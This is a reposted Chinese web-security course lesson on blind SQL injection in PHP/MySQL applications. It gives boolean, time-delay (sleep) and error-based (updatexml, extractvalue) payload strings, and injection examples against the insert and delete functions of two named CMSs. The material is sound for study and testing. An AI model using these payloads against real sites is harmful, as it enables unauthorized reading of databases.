Day44:WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式

本文主要是介绍Day44:WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

目录

PHP-MYSQL-SQL操作-增删改查

PHP-MYSQL-注入函数-布尔&报错&延迟

基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多

基于时间的SQL盲注-延时判断(不需要任何回显)

基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)

PHP-MYSQL-注入条件-数据回显&错误处理

PHP-MYSQL-CMS案例-插入报错&删除延迟


知识点:

1、PHP-MYSQL-SQL注入-方式增删改查

2、PHP-MYSQL-SQL注入-布尔&延迟&报错

3、PHP-MYSQL-SQL注入-数据回显&报错处理

PHP-MYSQL-SQL操作-增删改查

功能:数据查询(对数据感兴趣) 一般能用union、布尔盲注

查询:SELECT * FROM news where id=$id

功能:新增用户,添加新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

增加:INSERT INTO news (字段名) VALUES (数据)

功能:删除用户,删除新闻等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

删除:DELETE FROM news WHERE id=$id

功能:修改用户,修改文章等(对数据不感兴趣,只对操作结果感兴趣)延时、报错注入

修改:UPDATE news SET id=$id

就是因为查与增删改的区别不同,所以才有了盲注的知识点

PHP-MYSQL-注入函数-布尔&报错&延迟

盲注就是在注入过程中,获取的数据不能回显至前端页面。

我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。

解决:常规的联合查询注入不行的情况

我们可以知道盲注分为以下三类:

1、基于布尔的SQL盲注-逻辑判断

regexp,like,ascii,left,ord,mid

2、基于时间的SQL盲注-延时判断

if,sleep

3、基于报错的SQL盲注-报错回显

floor,updatexml,extractvalue

参考:
like 'ro%'            #判断ro或ro...是否成立 
regexp '^xiaodi[a-z]' #匹配xiaodi及xiaodi...等
if(条件,5,0)          #条件成立 返回5 反之 返回0
sleep(5)              #SQL语句延时执行5秒
mid(a,b,c)            #从位置b开始,截取a字符串的c位
substr(a,b,c)         #从位置b开始,截取字符串a的c长度
left(database(),1),database() #left(a,b)从左侧截取a的前b位
length(database())=8  #判断数据库database()名的长度
ord=ascii ascii(x)=97 #判断x的ascii码是否等于97

基于布尔的SQL盲注-逻辑判断(需要有回显,没回显搞不了)跟union需要的条件差不多

and length ( database ()) = 7 ;

and left(database(),1)='p';

and left(database(),2)='pi';

and substr(database(),1,1)='p';

and substr(database(),2,1)='i';

and ord(left(database(),1))=112;

regexp,like,ascii,left,ord,mid

and length(database())=7; //判断数据库database()名的长度是不是等于7

and left(database(),1)=‘p’; //left(a,b)从左侧截取a的前b位

and left(database(),2)=‘pi’; //left(a,b)从左侧截取a的前b位

基于时间的SQL盲注-延时判断(不需要任何回显)

and sleep ( 1 );

and if(1>2,sleep(1),0);

and if(1<2,sleep(1),0);

基于报错的SQL盲注-报错回显(需要报错回显,没报错回显玩不了)

and updatexml ( 1 , concat ( 0x7e ,( SELECT version ()), 0x7e ), 1 )

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1)

and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));

更多:https://www.jianshu.com/p/bc35f8dd4f7c

PHP-MYSQL-注入条件-数据回显&错误处理

PHP 开发项目 - 输出结果 & 开启报错

基于延时:都不需要

and if(1=1,sleep(5),0)

基于布尔:有数据库输出判断标准

and length(database())=6

基于报错:有数据库报错处理判断标准

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

测试delete注入:(有无回显,有无报错)

删除(延迟):1 and if(1=1,sleep(5),0)

删除(布尔):3 and length(database())=6(无回显 无法判断注入)

删除(报错):4 and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

PHP-MYSQL-CMS案例-插入报错&删除延迟

xhcms-insert报错

’ and updatexml(1,concat(0x7e,(SELECT version()),0x7e),1) and ’ //需要加单引号进行闭合

kkcms-delete延时(当访问php脚本页面空白时就要想到会不会出现其他脚本包含该脚本的情况,并且其他脚本里写有HTML代码去进行调用)

and if(1=1,sleep(5),0) and的是前后条件都符合才行
or if(1=1,sleep(5),0) or是前后条件符合一个就可以

or if(ord(left(database(),1))=107,sleep(2),0)

这篇关于Day44:WEB攻防-PHP应用SQL盲注布尔回显延时判断报错处理增删改查方式的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!


原文地址:
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.chinasem.cn/article/840830

相关文章

如何确定哪些软件是Mac系统自带的? Mac系统内置应用查看技巧

《如何确定哪些软件是Mac系统自带的?Mac系统内置应用查看技巧》如何确定哪些软件是Mac系统自带的?mac系统中有很多自带的应用,想要看看哪些是系统自带,该怎么查看呢?下面我们就来看看Mac系统内... 在MAC电脑上,可以使用以下方法来确定哪些软件是系统自带的:1.应用程序文件夹打开应用程序文件夹

windows系统上如何进行maven安装和配置方式

《windows系统上如何进行maven安装和配置方式》:本文主要介绍windows系统上如何进行maven安装和配置方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不... 目录1. Maven 简介2. maven的下载与安装2.1 下载 Maven2.2 Maven安装2.

MySQL的ALTER TABLE命令的使用解读

《MySQL的ALTERTABLE命令的使用解读》:本文主要介绍MySQL的ALTERTABLE命令的使用,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、查看所建表的编China编程码格式2、修改表的编码格式3、修改列队数据类型4、添加列5、修改列的位置5.1、把列

Mybatis嵌套子查询动态SQL编写实践

《Mybatis嵌套子查询动态SQL编写实践》:本文主要介绍Mybatis嵌套子查询动态SQL编写方式,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录前言一、实体类1、主类2、子类二、Mapper三、XML四、详解总结前言MyBATis的xml文件编写动态SQL

解决mysql插入数据锁等待超时报错:Lock wait timeout exceeded;try restarting transaction

《解决mysql插入数据锁等待超时报错:Lockwaittimeoutexceeded;tryrestartingtransaction》:本文主要介绍解决mysql插入数据锁等待超时报... 目录报错信息解决办法1、数据库中执行如下sql2、再到 INNODB_TRX 事务表中查看总结报错信息Lock

MySQL启动报错:InnoDB表空间丢失问题及解决方法

《MySQL启动报错:InnoDB表空间丢失问题及解决方法》在启动MySQL时,遇到了InnoDB:Tablespace5975wasnotfound,该错误表明MySQL在启动过程中无法找到指定的s... 目录mysql 启动报错:InnoDB 表空间丢失问题及解决方法错误分析解决方案1. 启用 inno

MySQL 安装配置超完整教程

《MySQL安装配置超完整教程》MySQL是一款广泛使用的开源关系型数据库管理系统(RDBMS),由瑞典MySQLAB公司开发,目前属于Oracle公司旗下产品,:本文主要介绍MySQL安装配置... 目录一、mysql 简介二、下载 MySQL三、安装 MySQL四、配置环境变量五、配置 MySQL5.1

MySQL 添加索引5种方式示例详解(实用sql代码)

《MySQL添加索引5种方式示例详解(实用sql代码)》在MySQL数据库中添加索引可以帮助提高查询性能,尤其是在数据量大的表中,下面给大家分享MySQL添加索引5种方式示例详解(实用sql代码),... 在mysql数据库中添加索引可以帮助提高查询性能,尤其是在数据量大的表中。索引可以在创建表时定义,也可

Mybatis Plus JSqlParser解析sql语句及JSqlParser安装步骤

《MybatisPlusJSqlParser解析sql语句及JSqlParser安装步骤》JSqlParser是一个用于解析SQL语句的Java库,它可以将SQL语句解析为一个Java对象树,允许... 目录【一】jsqlParser 是什么【二】JSqlParser 的安装步骤【三】使用场景【1】sql语

MySQL 存储引擎 MyISAM详解(最新推荐)

《MySQL存储引擎MyISAM详解(最新推荐)》使用MyISAM存储引擎的表占用空间很小,但是由于使用表级锁定,所以限制了读/写操作的性能,通常用于中小型的Web应用和数据仓库配置中的只读或主要... 目录mysql 5.5 之前默认的存储引擎️‍一、MyISAM 存储引擎的特性️‍二、MyISAM 的主